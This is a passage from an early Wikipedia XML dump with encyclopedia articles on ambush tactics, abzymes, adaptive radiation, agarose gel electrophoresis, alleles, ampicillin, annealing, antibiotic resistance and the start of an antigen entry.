In modern warfare, an ambush is most often employed by ground troops up to [[platoon]] size against enemy targets which may be other ground troops or possibly vehicles. During ancient warfare, an ambush often might involve thousands of soldiers on a large scale, such as over a [[mountain pass]].  

===Planning===
Ambushes are complex multi-phase operations and are therefore usually planned in some detail. First a suitable ''killing zone'' is identified.  This is the place where the ambush will be laid. It is generally a place where enemy units are expected to pass, and which gives reasonable cover for the deployment, execution, and extraction phases of the ambush patrol. A path along a wooded valley floor would be a stereotypical example.  

===Preparation===
To be successful an ambush patrol must deploy into the area covertly, ideally under the cover of darkness. The patrol will establish secure and covert positions overlooking the ''killing zone''. Usually, two or more ''cut off'' groups will be sent out a short distance from the main ambushing group into similarly covert positions.  Their job is twofold; firstly to give the ambush commander early-warning of approaching enemy (usually by radio), and secondly, when the ambush is initiated, to prevent any enemy from escaping. Another group will cover the rear of the ambush position and thus give [[all round defence]] to the ambush patrol.

Care must be taken by the ambush commander to ensure that fire from any weapon cannot inadvertently hit any other friendly unit.

===Waiting===
Having set the ambush, the next phase is to wait. This could be for a few hours or a few days depending on the tactical and supply situation. It is obviously much harder for an ambush patrol to remain covert and alert if sentry rosters, shelter, sleeping, sanitary arrangements, food and water, have to be considered. Ambush patrols will almost always have to be self-sufficient as re-supply would not be possible without compromising their covert position.

===Execution===
The arrival of an enemy in the area should be signalled by one of the cut-off units. This may be done by radio or by some other signal, but the enemy must not detect the signal.  The ambush commander will have given a clear instruction for initiating the ambush. This might be a burst from an automatic [[weapon]], use of an explosive device (such as a [[claymore mine]]or other directonal weapon), or possibly a simple whistle blast. When the ambush commander judges that the ambush will be most effective he gives the signal.  

After the [[firefight]] has been won, the now compromised ambush patrol will need to leave the area as soon as it is practical to do so. Before this is done it is a common practice to clear the killing zone by checking bodies for intelligence, taking prisoners, and treating any enemy wounded. If communication orders permit, a brief contact report may be sent. This done, the ambush patrol will leave the area by a pre-determined route.

==See also==
* [[sniper]]
* [[List of military tactics]]

[[Category:Military tactics]]

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    <title>Astronomical aberration</title>
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  <page>
    <title>Abzyme</title>
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      <text xml:space="preserve">An '''abzyme''' (from [[antibody]] and [[enzyme]]), also called ''catmab'' (from ''catalytic monoclonal antibody''), is a [[monoclonal antibody]] with [[catalytic activity]]. Molecules which are modified to gain new catalytic activity are called [[synzymes]]. Abzymes are usually artificial constructs, but are also found in normal humans (anti-vasoactive intestinal peptide autoantibodies) and in patients with the [[autoimmune disease]] systemic [[lupus erythematosus]], where they can bind and hydrolyze [[DNA]]. Abzymes are potential tools in [[biotechnology]], e.g., to perform specific actions on DNA.

Enzymes function by lowering the activation energy of the transition state, thereby catalyzing the formation of an otherwise-less-favorable molecular intermediate between reactants and products.   If an antibody is developed to a stable molecule that's similar to an unstable intermediate of another (potentially unrelated) reaction, the developed antibody will enzymatically bind to and stabilize the intermediate state, thus catalyzing the reaction.

Source: Vevek Parikh - Biochem Dept., Univ. of Miami.
{{biochem-stub}}

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  <page>
    <title>Adaptive radiation</title>
    <id>1909</id>
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      <timestamp>2006-02-22T04:46:05Z</timestamp>
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        <ip>66.73.160.177</ip>
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      <text xml:space="preserve">'''Adaptive radiation''' describes the rapid [[speciation]] of a single or a few [[species]] to fill many [[ecological niche]]s. This is an [[evolution]]ary process driven by [[mutation]] and [[natural selection]].

Adaptive radiation often occurs when a species is introduced to a new [[ecosystem]], or when a species can survive in an [[natural environment|environment]] that was unreachable before. For example, 14 species of [[Darwin's finch]]es on the [[Galapagos islands]] developed from a single species of [[finch]]es that reached the islands. Other examples include anoles of the Caribbean islands, Hawaiian silverswords and picture-winged fruit flies, the development of the first [[bird]]s, which suddenly were able to expand their [[territory]] into the air, or the development of [[lung fish]] during the [[Devonian period]], about 300 million years ago. Another example of adaptive radiation is the diversity within Phylum [[Mollusca]]. 

The dynamics of adaptive radiation are such that, within a relatively short time, many species derive from a single or a few ancestor species. The rise and fall of new species is now progressing very slowly, compared to the initial outburst of species.

There are three basic types of adaptive radiation. They are :
# '''General adaptation.''' A species that develops a radically new ability can reach new parts of its environment. An example of general adaptation is bird flight.
# '''Environmental change.''' A species that can, in contrast to the other species in the ecosystem, successfully survive in a radically changed environment will probably branch into new species that cover the new ecological niches created by the environmental change. An example of adaptive radiation as the result of an environmental change is the rapid spread and development of [[mammal]]ian species after the extinction of the dinosaurs.
# '''[[Archipelago]]es.''' Isolated [[ecosystem]]s, such as islands and mountain areas, can be colonized by a new species which upon establishing itself undergoes rapid divergent evolution. [[Darwin's finches]] are examples of adaptive radiation occurring in an archipelago.

In [[science fiction]] sometimes adaptive radiation of [[human]]s is imagined. This often makes for interesting multi-species [[science fiction universe|worlds]].

==References==

*Wilson, E. et al.  ''Life on Earth,''  by Wilson,E.; Eisner,T.; Briggs,W.; Dickerson,R.; Metzenberg,R.; O'brien,R.; Susman,M.; Boggs,W.; (Sinauer Associates, Inc., Publishers, Stamford, Connecticut), c 1974. Chapters: ''The Multiplication of Species; Biogeography,'' pp 824-877. 40 Graphs, w species pictures, also Tables, Photos, etc.  Includes '''[[Galapagos Islands]], [[Hawaii]], and Australia subcontinent,''' (plus [[St. Helena]] Island, etc.).

[[Category:Speciation]]

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  <page>
    <title>Agarose gel electrophoresis</title>
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      <text xml:space="preserve">[[image:DNA Agarose Gel Electrophor.jpg|200px|thumb|right|Digital printout of an agarose gel electrophoresis of ''cat''-insert plasmid DNA]]
'''Agarose gel electrophoresis''' is a method used in [[molecular biology]] to separate [[DNA]] strands by size, and to determine the size of the separated strands by comparison to strands of known length.  Similarly, in [[proteomics|proteomics research]], this method is also used to separate and quantify proteins based on their charge and size.  

Electrophoresis uses a mechanism similar to sifting objects through a sieve.  In the case of DNA-based gel electrophoresis, an [[electric field]] is used to push negatively charged DNA molecules through a gel matrix. Shorter, more compact DNA molecules move faster than longer, more convoluted ones since they are able to slip through the matrix more easily.  The same general principal applies to protein separation although more variables exist to determine how a protein will run through a gel.  DNA-based gel electrophoresis can be used for the separation of DNA fragments of 50 [[base pair]]s up to several megabases (millions of bases).  Large DNA molecules are only able to move end on in a process called &quot;reptation&quot; and are more difficult to separate.  In general the lower the concentration of agarose, the larger is the ideal size of a molecule to be resolved up to 750,000 bp.  The disadvantage of lower concentrations is the long run times (sometimes days) and the problem of handling the fragile gel.

The rate of migration is affected by a number of factors.  The concentration of agarose is one that has been mentioned.  The conformation of DNA is also a factor and is demonstrated by the forms of a [[plasmid]]: supercoiled, nicked, linear and single-stranded.  Each conformation runs at a different rate, with supercoiled running the fastest and linear running the slowest.  The presence of [[ethidium bromide]] (EtBr) in the gel causes DNA to run slower, as EtBr intercalates and uncoils DNA.  EtBr has the unique property of fluorescing under UV light. By running DNA through an EtBr-treated gel and exposing it to UV light, distinct bands of DNA become visible. The voltage is also a factor in migration and can only be so high before a decrease in resolution (about 5 to 8 V/cm).  Loading buffers are added with the DNA in order to visualize it and sediment it in the gel well.  Negatively charged indicators keep track of the position of the DNA.  Bromphenol Blue and Xylene cyanol FF are used and run at about 300 bp and 4 kbp respectively. 

There are a number of buffers used for agarose electrophoresis, but only two will be mentioned here: tris acetate [[EDTA]] (TAE), and [[sodium boride]] (SB).  TAE has the lowest buffering capacity but provides the best resolution.  This means a lower voltage and more time, but a better product.  SB is relatively new and is ineffective in resolving fragments larger than 5kb but it has the highest buffering capacity allowing voltages up to 350 V&lt;ref&gt;Sambrook J, Russel DW (2001).  Molecular Cloning: A Laboratory Manual 3rd Ed.  Cold Spring Harbor Laboratory Press.  Cold Spring Harbor, NY.&lt;/ref&gt;&lt;ref&gt;Brody JR, Calhoun ES, Gallmeier E, Creavalle TD, Kern SE (2004).  Ultra-fast high-resolution agarose electrophoresis of DNA and RNA using low-molarity conductive media.  Biotechniques.  37:598-602. [http://www.biotechniques.com/default.asp?page=article_archive&amp;subsection=article_display&amp;id=101200415&amp;prevpage=article_archive]&lt;/ref&gt;.  

==Material==

For an agarose gel electrophoresis, several items are needed:
* The DNA that is to be separated.
* A [[DNA ladder]], a mixture of DNA fragments (usually 10-20) of known size. The size of the DNA strands that are separated is determined by comparison of their relative position to that of the DNA strands of the DNA ladder. There are several DNA ladder mixes commercially available.
* [[Buffer solution]], usually [[TBE]] or TAE 0.5x, pH 8.0
* [[Agarose]]
* [[Ethidium bromide]] (5.25 mg/ml in H&lt;sub&gt;2&lt;/sub&gt;O)
* [[Nitrile]] gloves
* A color marker containing a low [[molecular weight]] [[dye]] such as &quot;[[bromophenol blue]]&quot; (to enable tracking the progress of the electrophoresis) and glycerol (to make the DNA solution more dense so it will sink into the wells of the gel).
* A gel rack
* A &quot;comb&quot; (usually cut from a sheet of [[teflon]])

==Preparation==
There are several methods for preparing agarose gels.  A common example is shown here.  Other methods might differ in the buffering system used, the sample size to be loaded, the total volume of the gel (typically thickness is kept to a minimum while length and breadth are varied as needed), and whether the gel is prepared horizontally or vertically (the vast majority of agarose gels used in modern molecular biology are prepared and run horizontally).

# Make a 1% agarose solution in 0.5x [[TBE]]. If you analyze small DNA strands, go up to 2%. Use 15-70 ml, depending on the size of the gel.
# Boil solution, preferably in a [[microwave oven]].
# Let the solution cool down to about 60 °C at room temperature. Stir the solution while cooling.
# Add 1 ul ethidium bromide per 10 ml gel solution. '''Wear gloves from here on, [[ethidium bromide]] is a potent [[mutagen]] ''(nitrile gloves recommended)'' !''' Some researchers prefer not to add ethidium bromide to the gel itself, instead soaking the gel in an ethidium bromide solution after running.
# Stir the solution to disperse the ethidium bromide, then fill it into the gel rack.
# Insert the comb at one side of the gel, about 5-10 mm from the border of the gel.
# When the gel has cooled down and become solid, remove the comb. The holes that remain in the gel are the slots.
# Put the gel, together with the rack, into a chamber with 0.5x TBE. Make sure the gel is completely covered with TBE, and that the slots are at the electrode that will have the negative current.
# Add the color marker to the DNA ladder is usually already stained.

'''''for more information on ethidium bromide safety see references  &lt;ref&gt;States, Kelly M. (2003).  Ethidium Bromide in [http://web.princeton.edu/sites/ehs/chemwaste/WastePaper/0302.htm ''The Waste-Paper:The Hazardous Waste Disposal Monthly Update''].  Retrieved 2005-01-31.&lt;/ref&gt;,&lt;ref name=Wisconsin&gt;Office of Biological Safety, Univ. of Wisconsin (Madison) (2003). Ethidium Bromide: Alternatives and Safe Handling in [http://www2.fpm.wisc.edu/biosafety/bioside_lines/bioside_lines_04_2003.htm ''BioSide Lines:The Newsletter of the UW Office of Biological Safety''].  Retrieved 2005-01-31.&lt;/ref&gt;,&lt;ref&gt;Environmental Health and Safety at The Scripps Research Intititute (1999).  WILL YOUR GLOVES PROTECT YOU? in [http://www.scripps.edu/researchservices/ehs/News/safetygram/sg1999/sg1999b.html ''Environmental Health &amp; Safety:Second Quarter 1999''] Retrieved 2005-01-31.&lt;/ref&gt;'''''

'''''for information on alternatives to ethidium bromide see references &lt;ref name=Wisconsin/&gt;,&lt;ref&gt;Madden, Dean (2004 [last modified]).  [http://www.bioscience-explained.org/EN1.2/schollar.html Safer stains for DNA].  Retrieved 2005-01-31.&lt;/ref&gt;'''''

==Procedure==
After the gel has been prepared, use a micropipette to inject about 25 µl of stained DNA (a DNA ladder is also highly recommended). Close the lid of the electrophoresis chamber and apply current (typically 100 V for 30 minutes with 15 ml of gel). The colored dye in the DNA ladder and DNA samples acts as a &quot;front wave&quot; that runs faster than the DNA itself. When the &quot;front wave&quot; approaches the end of the gel, the current is stopped. It is now possible to visualize the DNA (stained with ethidium bromide) with [[ultraviolet]] light.

[[image:Agarose Gel Electrophoresis.png|frame|none|Figure 1: Schematic drawing of the electrophoresis process, see text for description of steps]]

Steps:
#The agarose gel with three slots (S). 
#Injection of DNA ladder ([[molecular weight]] markers) into the first slot. 
#DNA ladder injected. Injection of samples into the second and third slot.
#A current is applied. The DNA moves toward the positive [[anode]] due to the negative charges on its [[phosphate]] backbone.
#Small DNA strands move fast, large DNA strands move slowly through the gel. The DNA is not normally visible during this process, so the marker dye is added to the DNA to avoid the DNA being run entirely off the gel. The marker dye has a low molecular weight, and migrates faster than the DNA, so as long as the marker has not run past the end of the gel, the DNA will still be in the gel. 
#The DNA is spread over the whole gel. The electrophoresis process is finished.

Illuminate the gel with an [[ultraviolet]] lamp (usually by placing it on a light box) to view the DNA bands - ethidium bromide [[fluorescence|fluoresces]] pink in the presence of DNA.  Wear protective glasses! The DNA band can also be cut out of the gel, and can then be dissolved to retrieve the purified DNA.

==Analysis==
Modern day gel electrophoresis research often leverages software-based image analysis tools, such as those used in [[two-dimensional gel electrophoresis]], or 2-DE.  In [[proteomics|proteomics research]], these tools primarily analyze bio-markers by quantifying individual, and showing the separation between one or more protein &quot;spots&quot; on a scanned image of a 2-DE product.  Additionally, these tools match spots between gels of similar samples to show, for example, proteomic differences between early and advanced stages of an illness.  Two leading tools in this study are [http://www.bio-rad.com PDQuest] and [http://support.nonlinear.com/products/2d/progenesis.asp Progenesis Workstation].  While this technology is widely utilized, the intelligence has not been perfected yet.  For example, while both of the aforementioned tools tend to agree on the quantification and analysis of well-defined well-separated protein spots, they deliver different results and tendencies with less-defined less-separated spots.&lt;ref&gt;Arora, Pankaj S., et al. (2005). Comparative evaluation of two two-dimensional gel electrophoresis image analysis software applications using synovial fluids from patients with joint disease.  Journal of Orthopaedic Science 10(2):160-166. [http://www.springerlink.com/openurl.asp?genre=article&amp;id=doi:10.1007/s00776-004-0878-0]&lt;/ref&gt;

== References ==
&lt;references/&gt;

== See also ==
*[[SDS-polyacrylamide gel electrophoresis]]
*[[Southern blot]]
*[[Northern blot]]
*[[PCR]]
*[[Restriction endonuclease]]

[[Category:Molecular biology]]
[[Category:Laboratory techniques]]
[[Category:Electrophoresis]]

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  <page>
    <title>Allele</title>
    <id>1911</id>
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      <comment>Reverted edits by [[Special:Contributions/67.83.116.136|67.83.116.136]] ([[User talk:67.83.116.136|talk]]) to last version by Vsmith</comment>
      <text xml:space="preserve">An '''allele''' is any one of a number of viable DNA codings of the same [[gene]] (sometimes the term refers to a non-gene sequence) occupying a given [[locus]] (position) on a [[chromosome]]. An individual's [[genotype]] for that gene will be the set of alleles it happens to possess. In an organism which has two copies of each of its chromosomes (a [[diploid]] organism), two alleles make up the individual's genotype.

An example is the gene for blossom color in many species of [[flower]] -- a single gene controls the color of the [[petals]], but there may be several different versions of the gene. One version might result in red petals, while another might result in white petals. The color of an individual flower will depend on which two alleles it possesses for this color gene, and how the two interact.

Organisms that are [[diploid]] have paired [[homologous]] chromosomes in their [[somatic cell]]s, and these contain two copies of each gene. An organism in which the two copies of the gene are identical -- that is, have the same allele -- is said to be [[homozygote|homozygous]] for that gene. An organism which has two different alleles of the gene is said to be [[heterozygote|heterozygous]]. [[phenotype|Phenotypes]] (the expressed characteristics) associated with a certain allele can sometimes be [[dominant gene|dominant]] or [[recessive]], but often they are neither. A dominant phenotype will be expressed when only one allele of its associated type is present, whereas a recessive phenotype will only be expressed when both alleles are of its associated type.

However, there are exceptions to the way heterozygotes express themselves in the phenotype.  One exception is [[incomplete dominance]] (sometimes called [[blending inheritance]]) when alleles blend their traits in the phenotype.  An example of this would be seen if, when crossing [[Antirrhinum]]s -- flowers with incompletely dominant &quot;red&quot; and &quot;white&quot; alleles for petal color -- the resulting offspring had pink petals.  Another exception is [[co-dominance]], where both alleles are active and both traits are expressed at the same time; for example, both red and white petals in the same bloom or red and white flowers on the same plant. Codominance is also apparent in human [[blood type]]s. A person with one &quot;A&quot; blood type allele and one &quot;B&quot; blood type allele would have a blood type of &quot;AB&quot;.

A [[wild type]] allele is an allele which is considered to be &quot;normal&quot; for the organism in question, as opposed to a [[mutant]] allele which is usually a relatively new modification.

(Note that with the advent of the study of [[genetic marker]]s, the term allele is often now used to refer to DNA codings in [[junk DNA]]. For example, the term [[allele frequency]] tables are often presented for genetic markers, such as the [[DYS (DNA)|DYS]] markers.)

==Equations==
There are two simple equations for the frequency of two alleles of a given gene (see [[Hardy-Weinberg principle]]):

Equation 1:&lt;math&gt;p^2+2pq+q^2=1&lt;/math&gt;

Equation 2: &lt;math&gt;p+q=1&lt;/math&gt;

Where p is the frequency of one allele and q is the frequency of the other allele. p&lt;sup&gt;2&lt;/sup&gt; is the population fraction that is homozygous for the p allele, 2pq is the frequency of heterozygotes and q&lt;sup&gt;2&lt;/sup&gt; is the population fraction that is homozygous for the q allele. [[Natural selection]] can act on p and q in Equation 1, and obviously affect the frequency of genes seen in Equation 2. It should be noted that the second equation can be derived from the first (or vice versa) since &lt;math&gt;p^2+2pq+q^2=1&lt;/math&gt; implies &lt;math&gt;(p+q)^2=1&lt;/math&gt; and p and q are positive numbers.

==See also==
* [[Mendelian inheritance]]

[[Category:Classical genetics]]

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[[gl:Alelo]]
[[he:אלל]]
[[nl:Allel]]
[[ja:対立遺伝子]]
[[lv:Alēle]]
[[pl:Allel]]
[[pt:Alelo]]
[[fi:Alleeli]]
[[sv:Allel]]
[[uk:Аллель]]
[[vi:Allele]]
[[it:Allele]]</text>
    </revision>
  </page>
  <page>
    <title>Ampicillin</title>
    <id>1912</id>
    <revision>
      <id>41589686</id>
      <timestamp>2006-02-28T09:38:47Z</timestamp>
      <contributor>
        <username>NongBot</username>
        <id>817745</id>
      </contributor>
      <minor />
      <comment>robot  Adding: th</comment>
      <text xml:space="preserve">[[Image:ampicillin.png|thumb|'''Ampicillin''' ([[Carbon|C]]&lt;sub&gt;16&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;18&lt;/sub&gt;[[Nitrogen|N]]&lt;sub&gt;3&lt;/sub&gt;[[Oxygen|O]]&lt;sub&gt;4&lt;/sub&gt;[[Sulfur|S]])]]
'''Ampicillin''' (C&lt;sub&gt;16&lt;/sub&gt;H&lt;sub&gt;18&lt;/sub&gt;N&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;S ; [[CAS registry number|CAS No.]]: 69-53-4) is an [[aminopenicillin]] and, as such, is a broad-spectrum [[antibiotic]] and has been used extensively to treat [[bacterium|bacterial]] [[infection]]s since [[1961]]. It can sometimes result in allergic reactions that range in severity from a rash to potentially lethal [[anaphylaxis]].

Belonging to the group of [[beta-lactam]] antibiotics, ampicillin is able to penetrate [[Gram-negative]] bacteria. It inhibits the third and final stage of bacterial [[cell wall]] synthesis, which ultimately leads to cell [[lysis]]. Ampicillin is closely related to [[Amoxicillin]], another type of [[penicillin]], and both are used to treat [[urinary tract infections]], [[otitis media]], uncomplicated community acquired [[pneumonia]], [[Haemophilus influenzae]], invasive [[salmonella]] and [[Listeriosis|Listeria]] [[meningitis]]. It is used with [[Flucloxacillin]] in the combination antibiotic [[Co-fluampicil]] for [[empiric]] treatment of [[cellulitis]]; providing cover against [[Group A streptococcal infection]] whilst the Flucloxacillin acts against [[Staphylococcus aureus]].

Ampicillin is often used in [[molecular biology]] as a test for the uptake of [[gene]]s (e.g., by [[plasmid]]s) by bacteria (e.g., ''[[E. coli]]''). A gene that is to be inserted into a bacterium is coupled to a gene [[code for|coding for]] an ampicillin resistance (in ''E. coli'', usually the ''bla'' gene, coding for [[beta-lactamase|&amp;beta;-lactamase]]). The treated bacteria are then grown on a medium containing ampicillin. Only the bacteria that successfully take up the desired genes become ampicillin resistant, and therefore contain the other desired gene as well.

[[category:Beta-lactam antibiotics]]

[[de:Ampicillin]]
[[fr:Ampicilline]]
[[hu:Ampicillin]]
[[th:แอมพิซิลลิน]]</text>
    </revision>
  </page>
  <page>
    <title>Annealing</title>
    <id>1913</id>
    <revision>
      <id>39482612</id>
      <timestamp>2006-02-13T17:43:56Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <comment>/* External links */ rmv spam</comment>
      <text xml:space="preserve">'''Anneal''' may refer to:

*[[Annealing (metallurgy)]], a heat treatment wherein the microstructure of a material is altered, causing changes in its properties such as strength and hardness.
*[[Annealing (glass)]], heating a piece of glass until its temperature reaches a stress-relief point.
*[[Annealing (biology)]], in genetics, DNA or RNA pairing by hydrogen bonds to a complementary sequence, forming a double-stranded polynucleotide. 
*[[Simulated annealing]], a technique for searching for a solution in a space otherwise too large for &quot;ordinary&quot; search methods to yield results.
*[[Information annealing]] or knowledge annealing, in library and information science, is a network-based information system or body of knowledge in which all users of the system are permitted to change the system at will.  

{{disambig}}

[[de:Anlassen]]
[[fr:Recuit]]
[[it:Ricottura]]
[[nl:Gloeien (metallurgie)]]</text>
    </revision>
  </page>
  <page>
    <title>Antibiotic resistance</title>
    <id>1914</id>
    <revision>
      <id>42033498</id>
      <timestamp>2006-03-03T09:45:37Z</timestamp>
      <contributor>
        <username>Tangotango</username>
        <id>210997</id>
      </contributor>
      <comment>Revert to revision 41974443 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Antibiotic resistance''' is the ability of a [[microorganism]] to withstand the effects of an [[antibiotic]].
Antibiotic resistance naturally develops via [[natural selection]] through random [[mutation]] and [[plasmid]] exchange between [[bacterium|bacteria]] of the same [[species]].  Antibiotic resistance can also be introduced artificially into a microorganism through [[transformation (genetics)|transformation]] protocols.  If a bacterium carries several resistance genes, it is called '''multiresistant''' or, informally, a '''superbug'''.

==Causes==
Antibiotic resistance is a consequence of [[evolution]] via [[natural selection]].  The antibiotic action is an environmental pressure; those bacteria which have a mutation allowing them to survive will live on to reproduce.  They will then pass this trait to their offspring, which will be a fully resistant generation.

Several studies have demonstrated that patterns of antibiotic usage greatly affect the number of resistant organisms which develop. Overuse of [[broad-spectrum antibiotic]]s, such as second- and third-generation [[cephalosporin]]s, greatly hastens the development of methicillin resistance, even in organisms that have never been exposed to the selective pressure of methicillin ''per se''. [Thus the resistance was already present.] Other factors contributing towards resistance include incorrect diagnosis, unnecessary prescriptions, improper use of antibiotics by patients, and the use of antibiotics as livestock food additives for growth promotion.

==Resistant pathogens==
''[[Staphylococcus aureus]]'' (colloquially known as &quot;Staph aureus&quot;) is one of the major resistant pathogens. Found on the [[mucous membranes]] and the [[skin]] of around a third of the population, it is extremely adaptable to antibiotic pressure. It was the first bacterium in which [[penicillin]] resistance was found -- in 1947, just four years after the drug started being mass-produced. [[Methicillin]] was then the antibiotic of choice. MRSA ([[Methicillin Resistant Staphylococcus Aureus|methicillin-resistant ''Staphylococcus aureus'']]) was first detected in Britain in 1961 and is now &quot;quite common&quot; in hospitals. MRSA was responsible for 37% of fatal cases of blood poisoning in the UK in 1999, up from 4% in 1991. Half of all ''S. aureus'' infections in the US are resistant to penicillin, methicillin, [[tetracycline]] and [[erythromycin]].

This left [[vancomycin]] as the only effective agent available at the time.  However, VRSA ([[Vancomycin-resistant Staphylococcus aureus|Vancomycin-resistant ''Staphylococcus aureus'']]) was first identified in Japan in 1997, and has since been found in hospitals in England, France and the US. VRSA is also termed GISA (glycopeptide intermediate ''Staphylococcus aureus'') or VISA (vancomycin intermediate ''Staphylococcus aureus''), indicating resistance to all [[Glycopeptide antibiotic|glycopeptide]] antibiotics.

A new class of antibiotics, [[Linezolid|oxazolidinone]]s, became available in the 1990s, and the first commercially available oxazolidinone, [[linezolid]], is comparable to vancomycin in effectiveness against MRSA. Linezolid-resistance in ''[[Staphylococcus aureus]]'' was reported in 2003.

''[[enterococcus|Enterococcus faecium]]'' is another superbug found in hospitals: penicillin resistance was seen in 1983, vancomycin resistance (VRE) in 1987 and [[linezolid]] resistance (LRE) in the late 1990s.

Penicillin-resistant [[pneumonia]] (or pneumococcus, caused by ''Streptococcus pneumoniae'') was first detected in 1967, as was penicillin-resistant [[gonorrhea]]. Resistance to penicillin substitutes is also known beyond ''S. aureus''. By 1993 ''[[Escherichia coli]]'' was resistant to five [[quinolones|fluoroquinolone]] variants. ''[[tuberculosis|Mycobacterium tuberculosis]]'' is commonly resistant to [[isoniazid]] and [[rifampin]] and sometimes universally resistant to the common treatments. Other pathogens showing some resistance include ''[[Salmonella]]'', ''[[Campylobacter]]'', and ''[[Streptococci]]''.

In November, 2004, the [[Centers for Disease Control and Prevention]] (CDC) reported an increasing number of ''[[Acinetobacter baumannii]]'' bloodstream infections in patients at military medical facilities in which service members injured in the [[Iraq]]/[[Kuwait]] region during [[Iraq war|Operation Iraqi Freedom]] and in [[Afghanistan]] during [[Operation Enduring Freedom]] were treated. Most of these showed [[multidrug resistance]] (MRAB), with a few isolates resistant to all drugs tested.  [http://www.cdc.gov/mmwr/preview/mmwrhtml/mm5345a1.htm]

==Antibiotic resistance and the role of animals==
[[Methicillin Resistant Staphylococcus Aureus|MRSA ]] is acknowledged to be a human commensal and pathogen.  MRSA has been found in cats, dogs and horses, where it can cause the same problems as it does in humans.  Owners can transfer the organism to their pets and vice-versa, and MRSA in animals is generally believe to be derived from humans.

This is not the case for other pathogens, however.  There are concerns that some antibiotic resistant organisms may derive from the use of antibiotics in food animals.  15% of all antibiotics manufactured in Europe are used on animals.  For precisely this reason, in many countries, antibiotics that are licensed for human use are banned from use in animals.  However, related antbiotics are often used as growth promoters (particularly in poultry) and have been associated with the development of resistant strains.

The US [[Food and Drug Administration]] banned [[enrofloxacin]] from use in poultry in July 2005.  [[Campylobacter]] is an avian gut [[commensal]], and Campylobacter [[gastroenteritis]] in humans is associated with the consumption of undercooked chicken.  Campylobacter resistance is up to 20% in parts of the developed world.  Enrofloxacin is a [[fluoroquinolone]] whose mechanism of action is very similar to ciprofloxacin;  it is used in veterinary practice to treat respiratory infections of poultry, when it is added to water or to the feed and may be used to medicate a whole flock.  Farmers lobby groups often agitate that there is no evidence of the transfer of antibiotic resistance in food animals to humans, but given Campylobacter does not naturally occur in humans and that ciprofloxacin resistance is increasing, it is difficult not to draw the conclusion that ciprofloxacin-resistant Campylobacter in humans arises from eating enrofloxacin-resistant Campylobacter in chickens, hence the FDA ban on [[enrofloxacin]].

The illegal use of [[amantadine]] to medicate poultry in the South of China and other parts of southeast Asia, means that although the H5N1 strain that appear in Hong Kong in 1997 was amantadine sensitive, the more recent strains have all been amantadine resistant.  This seriously reduces the treatment options available to doctors in the event of an influenza pandemic.

Eighteen UK organisations banded together in November 1997 to set guidelines on the use of antibiotics in farm animals, in order to address the concerns of the larger public.  The consortium is called RUMA ([[Responsible use of Medicine in Agriculture Alliance]]) Members of this consortium include the [[British Poultry Council]] and various industry and pharmaceutical firms.  The European Union has banned the use of all antibiotics as growth promoters from [[1 January]] [[2006]].

==Alternatives to antibiotics==
===Prevention===
[[Hand washing|Wash hands properly]] to reduce the chance of getting sick and spreading infection. Wash fruits and vegetables thoroughly. Avoid raw eggs and undercooked meat, especially  in ground form.

Do not ''demand'' antibiotics from your physician; if antibiotics are not prescribed, there is a reason.

When given antibiotics, take them '''''exactly''''' as prescribed, and complete the full course of treatment; do '''''not''''' hoard pills for later use, or share leftover antibiotics.

===Vaccines===
[[Vaccine]]s do not suffer the problem of resistance because a vaccine enhances the body's natural defenses, while an antibiotic operates separately from the body's normal defenses. Nevertheless, new strains may evolve that escape immunity induced by vaccines.

While theoretically promising, anti-staphylococcal vaccines have shown limited efficacy, because of immunological variation between ''Staphylococcus'' species, and the limited duration of effectiveness of the antibodies produced. Development and testing of more effective vaccines is under way.

===Phage therapy=== 
[[Phage therapy]] is a more recent alternative that can cope with the problem of resistance.

==Development of newer antibiotics==
The resistance problem demands that a renewed effort be made to seek antibacterial agents effective against pathogenic bacteria resistant to current antibiotics. One of the possible strategies towards this objective is the rational localization of bioactive phytochemicals. Plants have an almost limitless ability to synthesize aromatic substances, most of which are phenols or their oxygen-substituted derivatives such as tannins. Most are secondary metabolites, of which at least 12,000 have been isolated, a number estimated to be less than 10% of the total{{fact}}. In many cases, these substances serve as plant defense mechanisms against predation by microorganisms, insects, and herbivores.  Many of  the herbs and spices used by humans to season food yield useful medicinal compounds including those having antibacterial activity.

Traditional healers have long used plants to prevent or cure infectious conditions. Many of these plants have been investigated scientifically for antimicrobial activity and a large number of plant products have been shown to inhibit growth of pathogenic bacteria. A number of these agents appear to have structures and modes of action that are distinct from those of the antibiotics in current use, suggesting that cross-resistance with agents already in use may be minimal.

==See also==
*[[list of environment topics]]
*[[nosocomial infection]]
*[[tuberculosis]]
*[[bacterial conjugation]]

==External links==
* [http://www.cc.nih.gov/hes/vre.html Vancomycin Resistant Enterococcus - Guidelines for Healthcare Workers]
* [http://antibiotic.org Alliance for the Prudent Use of Antibiotics]
* [http://www.stoptriclosan.com StopTriclosan.com]
[[Category:Antibiotics]]
[[Category:Microbiology]]
[[da:Antibiotikaresistens]]
[[de:Antibiotikum-Resistenz]]
[[nl:Resistentie]]
[[fr:Résistance aux antibiotiques]]

==References==
* {{cite journal
 | author=Lord Soulsby of Swaffham Prior
 | title=Resistance to antimicrobials in humans and animals
 | journal=Brit J Med
 | year=2005
 | volume=331
 | pages=1219&amp;ndash;20
 | url=http://bmj.bmjjournals.com/cgi/content/extract/331/7527/1219?maxtoshow=&amp;HITS=10&amp;hits=10&amp;RESULTFORMAT=&amp;andorexactfulltext=and&amp;searchid=1138116795534_11131&amp;FIRSTINDEX=0&amp;sortspec=relevance&amp;volume=331&amp;firstpage=1219&amp;resourcetype=1 }}</text>
    </revision>
  </page>
  <page>
    <title>Antigen</title>
    <id>1915</id>
    <revision>
      <id>42046833</id>
      <timestamp>2006-03-03T12:47:51Z</timestamp>
      <contributor>
        <username>Reinoutr</username>
        <id>158685</id>
      </contributor>
      <comment>/* Origin of antigens */  added autoantigen</comment>
      <text xml:space="preserve">An '''antigen''' is a substance that stimulates an [[immune system|immune]] response, especially the production of [[antibodies]]. ''Antigens'' are usually [[protein]]s or [[polysaccharide]]s, but can be any type of molecule, including small molecules ([[hapten]]s) coupled to a [[carrier-protein]].
 
==Types of antigens==
*'''Immunogen''' - Any substance that provokes the immune response when introduced into the body. An immunogen is always a [[macromolecule]] (protein, polysaccharide). Its ability to stimulate the immune reaction depends on its commoness to the host, molecular size, chemical composition and heterogeneity (e.g. simlar to amino acids in a protein).
